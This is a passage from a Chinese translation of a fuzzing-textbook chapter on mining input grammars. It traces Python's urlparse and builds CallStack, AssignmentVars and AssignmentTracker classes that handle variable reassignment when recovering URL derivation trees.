+19 122 ({'arg': ''},)
+21 401 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+22 402 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+23 403 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+24 404 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+25 406 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+26 408 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+27 409 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref', 'fragment': '', 'query': '', 'netloc': ''},)
+28 410 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref', 'fragment': '', 'query': '', 'netloc': ''},)
+29 411 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref', 'fragment': '', 'query': '', 'netloc': ''},)
+30 412 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref', 'fragment': '', 'query': '', 'netloc': ''},)
+31 413 ({'scheme': 'http', 'url': 'http://user:pass@www.google.com:80/?q=path#ref', 'fragment': '', 'query': '', 'netloc': ''},)
+32 414 ({'scheme': 'http', 'url': '//user:pass@www.google.com:80/?q=path#ref', 'fragment': '', 'query': '', 'netloc': ''},)
+33 415 ({'scheme': 'http', 'url': '//user:pass@www.google.com:80/?q=path#ref', 'fragment': '', 'query': '', 'netloc': ''},)
+34 386 ({'url': '//user:pass@www.google.com:80/?q=path#ref'},)
+35 387 ({'url': '//user:pass@www.google.com:80/?q=path#ref'},)
+36 388 ({'url': '//user:pass@www.google.com:80/?q=path#ref'},)
+37 389 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '/'},)
+38 390 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '/'},)
+39 391 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '/'},)
+40 388 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '/'},)
+41 389 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '?'},)
+42 390 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '?'},)
+43 391 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '?'},)
+44 388 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '?'},)
+45 389 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '#'},)
+46 390 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '#'},)
+47 391 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '#'},)
+48 388 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '#'},)
+49 392 ({'url': '//user:pass@www.google.com:80/?q=path#ref', 'c': '#'},)
+51 416 ({'scheme': 'http', 'url': '/?q=path#ref', 'fragment': '', 'query': '', 'netloc': 'user:pass@www.google.com:80'},)
+52 417 ({'scheme': 'http', 'url': '/?q=path#ref', 'fragment': '', 'query': '', 'netloc': 'user:pass@www.google.com:80'},)
+53 419 ({'scheme': 'http', 'url': '/?q=path#ref', 'fragment': '', 'query': '', 'netloc': 'user:pass@www.google.com:80'},)
+54 420 ({'scheme': 'http', 'url': '/?q=path#ref', 'fragment': '', 'query': '', 'netloc': 'user:pass@www.google.com:80'},)
+55 421 ({'scheme': 'http', 'url': '/?q=path', 'fragment': 'ref', 'query': '', 'netloc': 'user:pass@www.google.com:80'},)
+56 422 ({'scheme': 'http', 'url': '/?q=path', 'fragment': 'ref', 'query': '', 'netloc': 'user:pass@www.google.com:80'},)
+57 423 ({'scheme': 'http', 'url': '/', 'fragment': 'ref', 'query': 'q=path', 'netloc': 'user:pass@www.google.com:80'},)
+61 424 ({'scheme': 'http', 'url': '/', 'fragment': 'ref', 'query': 'q=path', 'netloc': 'user:pass@www.google.com:80'},)
+62 425 ({'scheme': 'http', 'url': '/', 'fragment': 'ref', 'query': 'q=path', 'netloc': 'user:pass@www.google.com:80'},)
+67 369 ({'scheme': '', 'url': 'http://user:pass@www.google.com:80/?q=path#ref'},)
+68 370 ({'scheme': 'http', 'url': '/', 'fragment': 'ref', 'query': 'q=path', 'netloc': 'user:pass@www.google.com:80'},)
+69 373 ({'scheme': 'http', 'url': '/', 'fragment': 'ref', 'query': 'q=path', 'netloc': 'user:pass@www.google.com:80'},)
+70 374 ({'scheme': 'http', 'url': '/', 'fragment': 'ref', 'query': 'q=path', 'netloc': 'user:pass@www.google.com:80', 'params': ''},)
+74 375 ({'scheme': 'http', 'url': '/', 'fragment': 'ref', 'query': 'q=path', 'netloc': 'user:pass@www.google.com:80', 'params': ''},)
+
+```
+
+注意`url`的值如何随着解析的进行而变化？ 这违反了我们的假设，即分配给变量的值是稳定的。 接下来，我们将探讨如何消除此限制。
+
+## 重新分配语法的矿工
+
+唯一标识不同变量的一种方法是，在定义变量以及变量值更改时，均用*行号*对其进行注释。 考虑下面的代码片段
+
+### 跟踪变量分配位置
+
+```py
+def C(cp_1):
+    c_2 = cp_1 + '@2'
+    c_3 = c_2 + '@3'
+    return c_3
+
+def B(bp_7):
+    b_8 = bp_7 + '@8'
+    return C(b_8)
+
+def A(ap_12):
+    a_13 = ap_12 + '@13'
+    a_14 = B(a_13) + '@14'
+    a_14 = a_14 + '@15'
+    a_13 = a_14 + '@16'
+    a_14 = B(a_13) + '@17'
+    a_14 = B(a_13) + '@18'
+
+```
+
+请注意，如何按照定义它们的位置来命名所有变量，或者对值进行注释以指示其已更改。
+
+让我们在跟踪下运行它。
+
+```py
+with Tracer('____') as tracer:
+    A(tracer.my_input)
+
+for t in tracer.trace:
+    print(t[0], "%d:%s" % (t[2].line_no, t[2].method), t[3])
+
+```
+
+```py
+call 12:A {'ap_12': '____'}
+line 13:A {'ap_12': '____'}
+line 14:A {'ap_12': '____', 'a_13': '____@13'}
+call 7:B {'bp_7': '____@13'}
+line 8:B {'bp_7': '____@13'}
+line 9:B {'bp_7': '____@13', 'b_8': '____@13@8'}
+call 1:C {'cp_1': '____@13@8'}
+line 2:C {'cp_1': '____@13@8'}
+line 3:C {'cp_1': '____@13@8', 'c_2': '____@13@8@2'}
+line 4:C {'cp_1': '____@13@8', 'c_2': '____@13@8@2', 'c_3': '____@13@8@2@3'}
+return 4:C {'cp_1': '____@13@8', 'c_2': '____@13@8@2', 'c_3': '____@13@8@2@3'}
+return 9:B {'bp_7': '____@13', 'b_8': '____@13@8'}
+line 15:A {'ap_12': '____', 'a_13': '____@13', 'a_14': '____@13@8@2@3@14'}
+line 16:A {'ap_12': '____', 'a_13': '____@13', 'a_14': '____@13@8@2@3@14@15'}
+line 17:A {'ap_12': '____', 'a_13': '____@13@8@2@3@14@15@16', 'a_14': '____@13@8@2@3@14@15'}
+call 7:B {'bp_7': '____@13@8@2@3@14@15@16'}
+line 8:B {'bp_7': '____@13@8@2@3@14@15@16'}
+line 9:B {'bp_7': '____@13@8@2@3@14@15@16', 'b_8': '____@13@8@2@3@14@15@16@8'}
+call 1:C {'cp_1': '____@13@8@2@3@14@15@16@8'}
+line 2:C {'cp_1': '____@13@8@2@3@14@15@16@8'}
+line 3:C {'cp_1': '____@13@8@2@3@14@15@16@8', 'c_2': '____@13@8@2@3@14@15@16@8@2'}
+line 4:C {'cp_1': '____@13@8@2@3@14@15@16@8', 'c_2': '____@13@8@2@3@14@15@16@8@2', 'c_3': '____@13@8@2@3@14@15@16@8@2@3'}
+return 4:C {'cp_1': '____@13@8@2@3@14@15@16@8', 'c_2': '____@13@8@2@3@14@15@16@8@2', 'c_3': '____@13@8@2@3@14@15@16@8@2@3'}
+return 9:B {'bp_7': '____@13@8@2@3@14@15@16', 'b_8': '____@13@8@2@3@14@15@16@8'}
+line 18:A {'ap_12': '____', 'a_13': '____@13@8@2@3@14@15@16', 'a_14': '____@13@8@2@3@14@15@16@8@2@3@17'}
+call 7:B {'bp_7': '____@13@8@2@3@14@15@16'}
+line 8:B {'bp_7': '____@13@8@2@3@14@15@16'}
+line 9:B {'bp_7': '____@13@8@2@3@14@15@16', 'b_8': '____@13@8@2@3@14@15@16@8'}
+call 1:C {'cp_1': '____@13@8@2@3@14@15@16@8'}
+line 2:C {'cp_1': '____@13@8@2@3@14@15@16@8'}
+line 3:C {'cp_1': '____@13@8@2@3@14@15@16@8', 'c_2': '____@13@8@2@3@14@15@16@8@2'}
+line 4:C {'cp_1': '____@13@8@2@3@14@15@16@8', 'c_2': '____@13@8@2@3@14@15@16@8@2', 'c_3': '____@13@8@2@3@14@15@16@8@2@3'}
+return 4:C {'cp_1': '____@13@8@2@3@14@15@16@8', 'c_2': '____@13@8@2@3@14@15@16@8@2', 'c_3': '____@13@8@2@3@14@15@16@8@2@3'}
+return 9:B {'bp_7': '____@13@8@2@3@14@15@16', 'b_8': '____@13@8@2@3@14@15@16@8'}
+return 18:A {'ap_12': '____', 'a_13': '____@13@8@2@3@14@15@16', 'a_14': '____@13@8@2@3@14@15@16@8@2@3@18'}
+call 24:__exit__ {}
+line 25:__exit__ {}
+
+```
+
+每个变量首先被引用如下：
+
+*   `cp_1`-*呼叫* `1:C`
+*   `c_2`-*行* `3:C`（但上一个事件是*行* `2:C`）
+*   `c_3`-*行* `4:C`（但上一个事件是*行* `3:C`）
+*   `bp_7`-*呼叫* `7:B`
+*   `b_8`-*行* `9:B`（但上一个事件是*行* `8:B`）
+*   `ap_12`-*呼叫* `12:A`
+*   `a_13`-*行* `14:A`（但上一个事件是*行* `13:A`）
+*   `a_14`-*行* `15:A`（先前的事件是*返回* `9:B`。但是，A中的先前事件是*行* `14:A`）
+*   在 *15* -*行* `16:A`上重新分配`a_14`（上一个事件是*行* `15:A`）
+*   在 *16* -*行* `17:A`中重新分配`a_13`（上一个事件是*行* `16:A`）
+*   在 *17* 上重新分配`a_14`-*返回* `17:A`（A中的上一个事件是*行* `17:A`）
+*   在 *18* -*返回* `18:A`时重新分配`a_14`（A中的上一个事件是*行* `18:A`）
+
+因此，我们的观察结果是，如果这是一个调用，则当前位置对于定义的任何新变量都是正确的位置。 另一方面，如果是首次引用变量（或重新分配了新值），则要考虑的正确位置是同一方法调用中的先前位置*。 接下来，让我们看看如何将这些信息整合到变量命名中。*
+
+接下来，我们需要一种方法来跟踪各个方法的调用。 为此，我们定义了`CallStack`类。 每个方法调用都获得一个单独的标识符，并且在方法调用结束后，将重置该标识符。
+
+### CallStack
+
+```py
+class CallStack:
+    def __init__(self, **kwargs):
+        self.options(kwargs)
+        self.method_id = (START_SYMBOL, 0)
+        self.method_register = 0
+        self.mstack = [self.method_id]
+
+    def enter(self, method):
+        self.method_register += 1
+        self.method_id = (method, self.method_register)
+        self.log('call', "%s%s" % (self.indent(), str(self)))
+        self.mstack.append(self.method_id)
+
+    def leave(self):
+        self.mstack.pop()
+        self.log('return', "%s%s" % (self.indent(), str(self)))
+        self.method_id = self.mstack[-1]
+
+```
+
+一些额外的功能可简化生活。
+
+```py
+class CallStack(CallStack):
+    def options(self, kwargs):
+        self.log = log_event if kwargs.get('log') else lambda _evt, _var: None
+
+    def indent(self):
+        return len(self.mstack) * "\t"
+
+    def at(self, n):
+        return self.mstack[n]
+
+    def __len__(self):
+        return len(mstack) - 1
+
+    def __str__(self):
+        return "%s:%d" % self.method_id
+
+    def __repr__(self):
+        return repr(self.method_id)
+
+```
+
+我们还定义了一种方便的方法来显示给定的堆栈。
+
+```py
+def display_stack(istack):
+    def stack_to_tree(stack):
+        current, *rest = stack
+        if not rest:
+            return (repr(current), [])
+        return (repr(current), [stack_to_tree(rest)])
+    display_tree(stack_to_tree(istack.mstack), graph_attr=lr_graph)
+
+```
+
+这是我们如何使用`CallStack`的方法。
+
+```py
+cs = CallStack()
+display_stack(cs)
+cs
+
+```
+
+```py
+('<start>', 0)
+
+```
+
+```py
+cs.enter('hello')
+display_stack(cs)
+cs
+
+```
+
+```py
+('hello', 1)
+
+```
+
+```py
+cs.enter('world')
+display_stack(cs)
+cs
+
+```
+
+```py
+('world', 2)
+
+```
+
+```py
+cs.leave()
+display_stack(cs)
+cs
+
+```
+
+```py
+('hello', 1)
+
+```
+
+```py
+cs.enter('world')
+display_stack(cs)
+cs
+
+```
+
+```py
+('world', 3)
+
+```
+
+```py
+cs.leave()
+display_stack(cs)
+cs
+
+```
+
+```py
+('hello', 1)
+
+```
+
+为了考虑变量的重新分配，我们需要一种比用于存储变量的字典更智能的数据结构。 我们首先定义一个简单的接口`Vars`。 它充当变量的容器，并在`my_assignments`处实例化。
+
+### 新鲜的
+
+`Vars`在对其内部字典`defs`进行解析时会存储对变量的引用。 我们用原始字符串初始化字典。
+
+```py
+class Vars:
+    def __init__(self, original):
+        self.defs = {}
+        self.my_input = original
+
+```
+
+该词典需要两种方法：`update()`需要一组键值对来更新自身，而`_set_kv()`需要更新特定的键值对。
+
+```py
+class Vars(Vars):
+    def _set_kv(self, k, v):
+        self.defs[k] = v
+
+    def __setitem__(self, k, v):
+        self._set_kv(k, v)
+
+    def update(self, v):
+        for k, v in v.items():
+            self._set_kv(k, v)
+
+```
+
+vars是内部字典的代理。 例如，这是一种使用方式。
+
+```py
+v = Vars('')
+v.defs
+
+```
+
+```py
+{}
+
+```
+
+```py
+v['x'] = 'X'
+v.defs
+
+```
+
+```py
+{'x': 'X'}
+
+```
+
+```py
+v.update({'x': 'x', 'y': 'y'})
+v.defs
+
+```
+
+```py
+{'x': 'x', 'y': 'y'}
+
+```
+
+### AssignmentVars
+
+现在，我们将简单的`Vars`扩展为考虑变量重新分配。 为此，我们定义`AssignmentVars`。
+
+检测重新分配和重命名变量的想法如下：我们使用`accessed_seq_var`跟踪先前对特定变量的重新分配。 它包含任何特定变量的最后重命名作为其相应的值。 `new_vars`包含此迭代中添加的所有新变量的列表。
+
+```py
+class AssignmentVars(Vars):
+    def __init__(self, original):
+        super().__init__(original)
+        self.accessed_seq_var = {}
+        self.var_def_lines = {}
+        self.current_event = None
+        self.new_vars = set()
+        self.method_init()
+
+```
+
+`method_init()`方法使用保存在`call_stack`中的记录来跟踪方法调用。 `event_locations`用于跟踪此方法中访问的位置*。 这用于跟踪变量定义的行号。*
+
+```py
+class AssignmentVars(AssignmentVars):
+    def method_init(self):
+        self.call_stack = CallStack()
+        self.event_locations = {self.call_stack.method_id: []}
+
+```
+
+现在，可以使用`var_location_register()`修改`update()`以跟踪更改的行号。 在用于下一个事件后，我们将重新初始化`new_vars`。
+
+```py
+class AssignmentVars(AssignmentVars):
+    def update(self, v):
+        for k, v in v.items():
+            self._set_kv(k, v)
+        self.var_location_register(self.new_vars)
+        self.new_vars = set()
+
+```
+
+变量名称现在包含一个索引，该索引显示了已完成的重新分配次数，有效地使每个重新分配成为唯一变量。
+
+```py
+class AssignmentVars(AssignmentVars):
+    def var_name(self, var):
+        return (var, self.accessed_seq_var[var])
+
+```
+
+在存储变量时，我们需要首先检查它是否先前已知。 如果不是，则需要初始化重命名计数。 这是通过`var_access`完成的。
+
+```py
+class AssignmentVars(AssignmentVars):
+    def var_access(self, var):
+        if var not in self.accessed_seq_var:
+            self.accessed_seq_var[var] = 0
+        return self.var_name(var)
+
+```
+
+在变量重新分配期间，我们更新`accessed_seq_var`以反映新的计数。
+
+```py
+class AssignmentVars(AssignmentVars):
+    def var_assign(self, var):
+        self.accessed_seq_var[var] += 1
+        self.new_vars.add(self.var_name(var))
+        return self.var_name(var)
+
+```
+
+这些方法可以如下使用
+
+```py
+sav = AssignmentVars('')
+sav.defs
+
+```
+
+```py
+{}
+
+```
+
+```py
+sav.var_access('v1')
+
+```
+
+```py
+('v1', 0)
+
+```
+
+```py
+sav.var_assign('v1')
+
+```
+
+```py
+('v1', 1)
+
+```
+
+再次为其分配计数器将递增。
+
+```py
+sav.var_assign('v1')
+
+```
+
+```py
+('v1', 2)
+
+```
+
+逻辑的核心在`_set_kv()`中。 当分配一个变量时，我们得到序列变量名`s_var`。 如果在`defs`中以前未知序列变量名称，那么我们就没有其他问题了。 我们将排序后的变量添加到`defs`中。
+
+如果该变量是先前已知的，则表明可能重新分配。 在这种情况下，我们查看变量持有的值。 我们检查值是否更改。 如果没有，则没有。
+
+如果值已更改，则为重新分配。 我们首先使用`var_assign`递增变量使用顺序，检索新名称，然后在`defs`中更新新名称。
+
+```py
+class AssignmentVars(AssignmentVars):
+    def _set_kv(self, var, val):
+        s_var = self.var_access(var)
+        if s_var in self.defs and self.defs[s_var] == val:
+            return
+        self.defs[self.var_assign(var)] = val
+
+```
+
+这是如何使用它。 第一次分配变量将初始化其计数器。
+
+```py
+sav = AssignmentVars('')
+sav['x'] = 'X'
+sav.defs
+
+```
+
+```py
+{('x', 1): 'X'}
+
+```
+
+如果再次给变量​​分配相同的值，则可能不是重新分配。
+
+```py
+sav['x'] = 'X'
+sav.defs
+
+```
+
+```py
+{('x', 1): 'X'}
+
+```
+
+但是，如果值更改，则是重新分配。
+
+```py
+sav['x'] = 'Y'
+sav.defs
+
+```
+
+```py
+{('x', 1): 'X', ('x', 2): 'Y'}
+
+```
+
+这里有一个微妙之处。 可以从父方法的中间调用子方法，并且两个方法都可以使用具有不同值的相同变量名。 在这种情况下，当子级返回时，父级将具有上下文中具有旧值的旧变量。 通过我们的实施，我们认为这是重新分配。 但是，这是可以的，因为添加新的重新分配是无害的，但是丢失新分配不会。 此外，我们稍后将讨论如何避免这种情况。
+
+我们还为`register_event()` `method_enter()`和`method_exit()`定义了记账代码，它们是负责跟踪方法堆栈的方法。 基本思想是，每个`method_enter()`代表一个新的方法调用。 因此，它具有一个新的方法id，该方法id由`method_register`生成并保存在`method_id`中。 由于这是一种新方法，因此该方法堆栈将使用具有此id的一个元素扩展。 在`method_exit()`的情况下，我们弹出方法堆栈，并将当前的`method_id`重置为低于当前的值。
+
+```py
+class AssignmentVars(AssignmentVars):
+    def method_enter(self, cxt, my_vars):
+        self.current_event = 'call'
+        self.call_stack.enter(cxt.method)
+        self.event_locations[self.call_stack.method_id] = []
+        self.register_event(cxt)
+        self.update(my_vars)
+
+    def method_exit(self, cxt, my_vars):
+        self.current_event = 'return'
+        self.register_event(cxt)
+        self.update(my_vars)
+        self.call_stack.leave()
+
+    def method_statement(self, cxt, my_vars):
+        self.current_event = 'line'
+        self.register_event(cxt)
+        self.update(my_vars)
+
+```
+
+对于每个方法事件，我们还使用`register_event()`注册事件，该事件跟踪*此*方法中引用的行号。
+
+```py
+class AssignmentVars(AssignmentVars):
+    def register_event(self, cxt):
+        self.event_locations[self.call_stack.method_id].append(cxt.line_no)
+
+```
+
+`var_location_register()`保留新添加变量的位置。 `call`中变量的定义位置是*当前*位置。 但是，对于`line`，它将是当前方法中的上一个事件。
+
+```py
+class AssignmentVars(AssignmentVars):
+    def var_location_register(self, my_vars):
+        def loc(mid):
+            if self.current_event == 'call':
+                return self.event_locations[mid][-1]
+            elif self.current_event == 'line':
+                return self.event_locations[mid][-2]
+            elif self.current_event == 'return':
+                return self.event_locations[mid][-2]
+            else:
+                assert False
+
+        my_loc = loc(self.call_stack.method_id)
+        for var in my_vars:
+            self.var_def_lines[var] = my_loc
+
+```
+
+我们定义`defined_vars()`，它返回带有行号的变量名称，如下所示。
+
+```py
+class AssignmentVars(AssignmentVars):
+    def defined_vars(self, formatted=True):
+        def fmt(k):
+            v = (k[0], self.var_def_lines[k])
+            return "%s@%s" % v if formatted else v
+
+        return [(fmt(k), v) for k, v in self.defs.items()]
+
+```
+
+与`defined_vars()`相似，我们定义了`seq_vars()`，它以使用次数来注释不同的变量。
+
+```py
+class AssignmentVars(AssignmentVars):
+    def seq_vars(self, formatted=True):
+        def fmt(k):
+            v = (k[0], self.var_def_lines[k], k[1])
+            return "%s@%s:%s" % v if formatted else v
+
+        return {fmt(k): v for k, v in self.defs.items()}
+
+```
+
+### AssignmentTracker
+
+`AssignmentTracker`使用我们先前定义的`AssignmentVars`保留分配定义。
+
+```py
+class AssignmentTracker(DefineTracker):
+    def __init__(self, my_input, trace, **kwargs):
+        self.options(kwargs)
+        self.my_input = my_input
+
+        self.my_assignments = self.create_assignments(my_input)
+
+        self.trace = trace
+        self.process()
+
+    def create_assignments(self, *args):
+        return AssignmentVars(*args)
+
+```
+
+为了对过程进行微调，我们定义了一个可选参数`track_return`。 在跟踪方法返回的过程中，Python会生成一个虚拟变量，其中包含返回值的结果。 如果设置了`track_return`，我们将捕获此值作为变量。
+
+*   `track_return`-如果为true，则将*虚拟变量*添加到表示返回值的Var中
+
+```py
+class AssignmentTracker(AssignmentTracker):
+    def options(self, kwargs):
+        self.track_return = kwargs.get('track_return', False)
+        super().options(kwargs)
+
+```
+
+跟踪期间可能会有不同类型的事件，包括进入函数时的`call`，返回函数时的`return`，引发异常时的`exception`和执行语句时的`line`。
+
+先前的`Tracker`过于简单，因为它无法区分不同的事件。 我们对此进行纠正并定义分别在其相应事件上调用的`on_call()`，`on_return()`和`on_line()`。
+
+注意，`on_return()`也被调用`on_line()`。 原因是，Python在执行相应行之前调用了跟踪函数*。 因此，有效地，通过在环境中执行前一个语句所产生的绑定来调用`on_return()`。 实际上，我们的处理是对上一条语句所绑定的值进行的。 因此，在此处调用`on_line()`是适当的，因为它为事件处理程序提供了处理先前绑定的机会。*
+
+```py
+class AssignmentTracker(AssignmentTracker):
+    def on_call(self, arg, cxt, my_vars):
+        my_vars = cxt.parameters(my_vars)
+        self.my_assignments.method_enter(cxt, self.fragments(my_vars))
+
+    def on_line(self, arg, cxt, my_vars):
+        self.my_assignments.method_statement(cxt, self.fragments(my_vars))
+
+    def on_return(self, arg, cxt, my_vars):
+        self.on_line(arg, cxt, my_vars)
+        my_vars = {'<-%s' % cxt.method: arg} if self.track_return else {}
+        self.my_assignments.method_exit(cxt, my_vars)
+
+    def on_exception(self, arg, cxt, my_vara):
+        return
+
+    def track_event(self, event, arg, cxt, my_vars):
+        self.current_event = event
+        dispatch = {
+            'call': self.on_call,
+            'return': self.on_return,
+            'line': self.on_line,
+            'exception': self.on_exception
+        }
+        dispatch[event](arg, cxt, my_vars)
+
+```
+
+现在，我们可以使用`AssignmentTracker`来跟踪不同的变量。 为了验证可变行号推断是否有效，我们从函数A，B和C恢复定义（删除了数据注释，以便正确识别输入片段）。
+
+```py
+def C(cp_1):
+    c_2 = cp_1
+    c_3 = c_2
+    return c_3
+
+def B(bp_7):
+    b_8 = bp_7
+    return C(b_8)
+
+def A(ap_12):
+    a_13 = ap_12
+    a_14 = B(a_13)
+    a_14 = a_14
+    a_13 = a_14
+    a_14 = B(a_13)
+    a_14 = B(a_14)[3:]
+
+```
+
+在有足够输入的情况下运行`A()`。
+
+```py
+with Tracer('---xxx') as tracer:
+    A(tracer.my_input)
+tracker = AssignmentTracker(tracer.my_input, tracer.trace, log=True)
+for k, v in tracker.my_assignments.seq_vars().items():
+    print(k, '=', repr(v))
+print()
+for k, v in tracker.my_assignments.defined_vars(formatted=True):
+    print(k, '=', repr(v))
+
+```
+
+```py
+ap_12@12:1 = '---xxx'
+a_13@13:1 = '---xxx'
+bp_7@7:1 = '---xxx'
+b_8@8:1 = '---xxx'
+cp_1@1:1 = '---xxx'
+c_2@2:1 = '---xxx'
+c_3@3:1 = '---xxx'
+a_14@14:1 = '---xxx'
+a_14@18:2 = 'xxx'
+
+ap_12@12 = '---xxx'
+a_13@13 = '---xxx'
+bp_7@7 = '---xxx'
+b_8@8 = '---xxx'
+cp_1@1 = '---xxx'
+c_2@2 = '---xxx'
+c_3@3 = '---xxx'
+a_14@14 = '---xxx'
+a_14@18 = 'xxx'
+
+```
+
+可以看出，现在已经为每个变量正确标识了行号。
+
+让我们尝试检索一个实际示例的分配。
+
+```py
+traces = []
+for inputstr in URLS_X:
+    clear_cache()
+    with Tracer(inputstr, files=['urllib/parse.py']) as tracer:
+        urlparse(tracer.my_input)
+    traces.append((tracer.my_input, tracer.trace))
+
+    tracker = AssignmentTracker(tracer.my_input, tracer.trace, log=True)
+    for k, v in tracker.my_assignments.defined_vars():
+        print(k, '=', repr(v))
+    print()
+
+```
+
+```py
+url@361 = 'http://user:pass@www.google.com:80/?q=path#ref'
+scheme@412 = 'http'
+url@413 = '//user:pass@www.google.com:80/?q=path#ref'
+url@415 = '/?q=path#ref'
+netloc@415 = 'user:pass@www.google.com:80'
+url@420 = '/?q=path'
+fragment@420 = 'ref'
+query@422 = 'q=path'
+url@368 = 'http://user:pass@www.google.com:80/?q=path#ref'
+
+url@361 = 'https://www.cispa.saarland:80/'
+rest@432 = '//www.cispa.saarland:80/'
+scheme@435 = 'https'
+url@435 = '//www.cispa.saarland:80/'
+netloc@438 = 'www.cispa.saarland:80'
+url@368 = 'https://www.cispa.saarland:80/'
+
+url@361 = 'http://www.fuzzingbook.org/#News'
+scheme@412 = 'http'
+url@413 = '//www.fuzzingbook.org/#News'
+url@415 = '/#News'
+netloc@415 = 'www.fuzzingbook.org'
+fragment@420 = 'News'
+url@368 = 'http://www.fuzzingbook.org/#News'
+
+url@361 = 'ftp://freebsd.org/releases/5.8'
+rest@432 = '//freebsd.org/releases/5.8'
+scheme@435 = 'ftp'
+url@435 = '//freebsd.org/releases/5.8'
+url@438 = '/releases/5.8'
+netloc@438 = 'freebsd.org'
+url@368 = 'ftp://freebsd.org/releases/5.8'
+url@369 = '/releases/5.8'
+
+```
+
+可以从 [urllib / parse.py](https://github.com/python/cpython/blob/3.6/Lib/urllib/parse.py) 的源代码验证变量的行号。
+
+### 恢复派生树
+
+处理变量重新分配对我们的URL示例有帮助吗？ 接下来我们看这些。
+
+```py
+class TreeMiner(TreeMiner):
+    def get_derivation_tree(self):
+        tree = (START_SYMBOL, [(self.my_input, [])])
+        for var, value in self.my_assignments:
+            self.log(0, "%s=%s" % (var, repr(value)))
+            self.apply_new_definition(tree, var, value)
+        return tree
+
+```
+
+#### 示例1：恢复URL派生树
+
+首先，我们获得URL 1的派生树。
+
+##### URL 1派生树
+
+```py
+clear_cache()
+with Tracer(URLS_X[0], files=['urllib/parse.py']) as tracer:
+    urlparse(tracer.my_input)
+sm = AssignmentTracker(tracer.my_input, tracer.trace)
+dt = TreeMiner(tracer.my_input, sm.my_assignments.defined_vars())
+display_tree(dt.tree)
+
+```
+
+<svg height="329pt" viewBox="0.00 0.00 469.50 329.00" width="470pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 325)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112" y="-309.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112" y="-258.8"><url@361></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="46" y="-207.8"><scheme@412></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="112" y="-207.8">:</text></g> <g class="edge" id="edge4"><title>1->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="165" y="-207.8"><url@413></text></g> <g class="edge" id="edge5"><title>1->5</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="46" y="-156.8">http</text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="101" y="-156.8">//</text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="165" y="-156.8"><netloc@415></text></g> <g class="edge" id="edge7"><title>5->7</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="310" y="-156.8"><url@415></text></g> <g class="edge" id="edge9"><title>5->9</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="141" y="-105.8">user:pass@www.google.com:80</text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="283" y="-105.8"><url@420></text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="338" y="-105.8">#</text></g> <g class="edge" id="edge14"><title>9->14</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="411" y="-105.8"><fragment@420></text></g> <g class="edge" id="edge15"><title>9->15</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="248" y="-54.8">/?</text></g> <g class="edge" id="edge11"><title>10->11</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="313" y="-54.8"><query@422></text></g> <g class="edge" id="edge12"><title>10->12</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="313" y="-3.8">q=path</text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="411" y="-54.8">ref</text></g> <g class="edge" id="edge16"><title>15->16</title></g></g></svg>
+
+接下来，我们获得URL 4的派生树
+
